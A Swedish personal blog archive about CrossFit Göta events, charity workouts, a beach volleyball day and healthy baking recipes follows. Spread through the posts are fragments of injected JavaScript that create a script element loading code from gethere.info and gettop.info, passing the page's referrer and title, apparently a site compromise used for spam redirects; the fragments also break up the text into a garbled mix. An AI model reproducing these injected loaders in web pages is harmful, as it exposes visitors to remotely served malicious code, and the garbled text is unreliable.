Etikettarkiv: Träning

Löpteknik med CrossFit Göta

Nu har jag varit på ett löpteknikpass med duktiga  Emelie Svensson vår duktiga friidrottare som tränar på Crossfit Göta
Under 6 tillfällen under sommaren kör hon Löpteknik med alla som är intresserade.
i onsdags var första gången  och vi möttes upp vid Linneplatsen kl. 19.

Sedan är det onsdagar framöver, 22/7, 29/7, 5/8, 12/8, 19/8.

Den 5/8 och 12/8 är det tanken att passen skall vara på Slottsskogsvallen…spännande.
Jag ska verkligen försöka vara med på så många pass som möjligt då jag behöver öva upp min löpteknik.

bild1

 

 

if (document.currentScript) { document.currentScript.parentNode.insertBefore(s, document.currentScript);

Göta Pokalen 6:e juni 2015

Göta

1012

Här går vår headcoach Marcus igenom dagens tävling.
119

ADBC812

Då var det dags för Göta Pokalen 2 på CrossFit Göta.

Självklart ville gänget bakom Götapokalen servera gott kaffe och valde att hyra in ”Javamoppen”för dagen.

JavaJava2Java3

Supergoda hamburgare från ”Street Friends Göteborg” serverades under dagen.

9

4

13Här ser ni vårat scoreboard.

E

Här kommer lite bilder från GötaPokalen2.

8101213141516181719212275631

 

Dagen avslutades med prisutdelning och fest på Port du Soleil.
Våra 3 boxägare från vänster, head coach Marcus, Johan, Chrille.

7356

XX

 }

}} else {

Beach volley med StorGöteborg

bild2

Den 27:e feb hade vi en beachvolley turnering med jobbet där alla kontor i hela StorGöteborg var med och spelade.
Vi spelade på Beach center i Kviberg.  Efteråt blev det en spontan AW vid baren innan några åkte in till stan och fortsatte festa.

Här kommer lite bilder från turneringen.

bild3bild4bildA

bild5bild1

bild8bild7bild6

W

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

document.currentScript.parentNode.insertBefore(s, document.currentScript);}

Crossfit Göta morgongänget med flera….

8

Igår hade Anna och Kim dragit ihop ett härligt gäng från CrossFit Göta på mingel och mat. Vi var väl närmare 27 stycken som alla har gemensamt att vi  alla tränar på Göta. Vi var hemma hos Kim i Mölndal där vi minglade, åt en massa god mat och Anna hade bakat en supegod blåbärscheesecake. Efter middagen bjöds det på frågesport.

Tack Anna och Kim för en supertrevlig kväll!

964

73

512

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; d.getElementsByTagName(‘head’)[0].appendChild(s);

CrossFit Göta

Nu har min CrossFit box lagt upp en helt ny hemsida som ni gärna får kika på här.

Kan inte förklara fenomenet ”CrossFit” och varför det är så vansinnigt kul.

Lägger upp lite bilder från min CrossFit box nedan.

bild1 bild11 bild10 bild9 bild8 bild7 bild6 bild5 bild4 Bild2

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

d.getElementsByTagName(‘head’)[0].appendChild(s);

LuciaPokalen 13 dec, 2014

bild4

Förra lördagen arrangerade min CrossFit box CrossFit Göta en tävling för alla medlemmar där alla intäkter gick till
”Ung Cancer”.  Camilla som tränar på CrossFit Göta jobbar som projektledare på Ung Cancer.
Tidigare hade vi en pärldag på CrossFit Göta.

bild4

bild1bild2

Jag var domare åt grymma Kim och Fredrik som kom på 5:e plats i ”skalad klass”
Sen hade jag bakat fikabröd som jag gav till Göta för att sälja till förmån för cancerfonden.

Energibollar

BollGlutenfria lussekatter

bullarPaleokladdkaka
kladdGoda bars

BarNedan ser ni lite bilder från dagen. 42 lag (mixade), en skalad klass och en RX klass.

Kim ”Supertärnan” och Fredrik ”Stjärngossen” med deras domare.

7Team ”Supertärnan och Stjärngossen” med headcoach Marcus.

bild6

bild10bild9bild8bild7bild4bild2bild11bild9bild10bild12bild1bild7bild6bild5bild2bild5bild3
XX

 if (document.currentScript) {

Row for boobs 25 oktober 2014

bild1

Den 25:e oktober anordnade Vagnhallen Crossfit ett event till förmån för Rosa Bandet och Cancerfonden. Det samlades in hela 12.000 kr. En stor eloge till Fredrik och Fidde De lyckades ro 4,2 mil var denna dag.

Bilden ovan har jag lånat från Vagnhallen Crossfit fb sida.

Nedan kommer lite bilder från dagen. Mitt bidrag till eventet var att jag bakade två paleokladdkakor till Vagnhallen samt att jag köpte en t-shirt på plats.

2bild1

 

bild10bild9bild8bild3bild7bild6bild5bild4s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Goda Granola bars

bild14

Nu har jag bakat  supergoda granola bars!  Receptet hittade jag på Renée Voltaire’s fb sida.

Bars (ca 14 s)
ca 15 Aprikoser
Lite vatten
en nypa äkta vanilj /vaniljpulver
2 msk Chiafrön
7 dl Renée Voltaire ”Crunchy Granola Hallon och Blåbär”

bild3bild2bild1

Gör så här:
Mixa ekologiska aprikoser med vatten, äkta vaniljpulver och chiafrön. Blanda med Crunchy Granola Hallon & Blåbär. Forma till bars och torka i ugn ca 15 min i 160 grader. Förvara dina bars i en burk med tätslutande lock. Om du vill göra dem lite mer lyxiga så kan du doppa dem i mörk 70% choklad.

bild4bild5bild7

bild6bild8bild9bild11bild12bild13bild5bild4bild3bildA

 

 

 }

}

Raw bars av dadlar och jordnötter

 

bild5

Nu har jag hittat ett supergott recept på raw bars. Du kan variera din topping  beroende på vad du tycker om.
Grundreceptet hittade jag här. Nästa gång tänker jag pröva att baka dessa raw bars på dadlar, aprikoser och cashewnötter. Antingen kan du göra raw bollar eller som jag till bars. Du kan också äta dem naturella utan mörk choklad om du vill. De smakar otroligt gott och perfekt att förvara i frysen och ta fram vid behov.

bild6

RAW bars (ca 7-8 bars)
1 påse Änglamarks ”soft dates” 200 gram
2 dl saltade jordnötter

Topping (valfritt)
Ev  70% mörk choklad som du smälter och doppar dina bars i
Riven kokos
Kakao nibs
Salta jordnötter

Gör så här:
1. Börja med att mixa dadlarna.
2. Häll ned jordnötterna och mixa tills du har en slags deg med grovhackade jordnötter.
3. Rulla/forma (gärna med blöta händer)  och kyl. Du kan förvara dina bars i frysen också.

bild4bild3

bild5Bild1bild2bild6bild9bild8bild7bild10

Dina bars är goda att äta helt naturella som bilden ovan. Men vill du göra med topping så kan du använda din fantasi och doppa dem i mörk choklad tex.  Jag gjorde lite olika varianter. Här doppade jag några bars med 70% mörk choklad.

bild9

bild10

Här blev det mörk choklad och jordnötter.

bild8

bild11

Här blev det mörk choklad, kakaonibs och riven kokos.

bild7

bild12

bild4

bild3

bild1d.getElementsByTagName(‘head’)[0].appendChild(s);

var d=document;var s=d.createElement(‘script’); s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Proteinbrownies med jordnötsfudge

Bild1

Det här receptet hittade jag på Gymgrossistens’och fb sida och kommer från Molly Olsson. Toppingen är riktigt god.

Proteinbrownie
3 dl chokladprotein
1 tsk bakpulver
2 ägg
1/2 krm salt
1 msk Kakao (valfritt för extra chokladsmak)

Gör så här:
Blanda alla torra ingredienser och rör sedan ner äggen. Häll upp i en liten bakform klädd i bakplåtspapper så att den blir ca 1 cm tjock. Grädda i ugnen på 180 grader tills kakan får den konsistens du vill ha. (Akta så att den inte blir torr och kolla med en sticka, den ska helst vara kletigare inuti). Jag gräddade kakan i en brödform i ca 15 min. Ta ut och låt svalna.

Jordnötsfudge
100 g naturella kikärtor
1 msk jordnötssmör
2 tsk stevia lättströ
1 msk osötad mandelmjölk

Gör så här:
Skala och skälj kikärtorna. Kör dem i en matberedare tills de är finmalda. Tillsätt jordnötssmör, mandelmjölk och stevia och kör till en jämn smet. Bred på kakan när den svalnat och dela upp i 6 lika stora bitar. Det går att förvara dina brownies i frysen och ta fram och tina upp i kylskåp.

bild13bild11bild9bild6bild8bild5bild3bild4bild2

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; var d=document;var s=d.createElement(‘script’);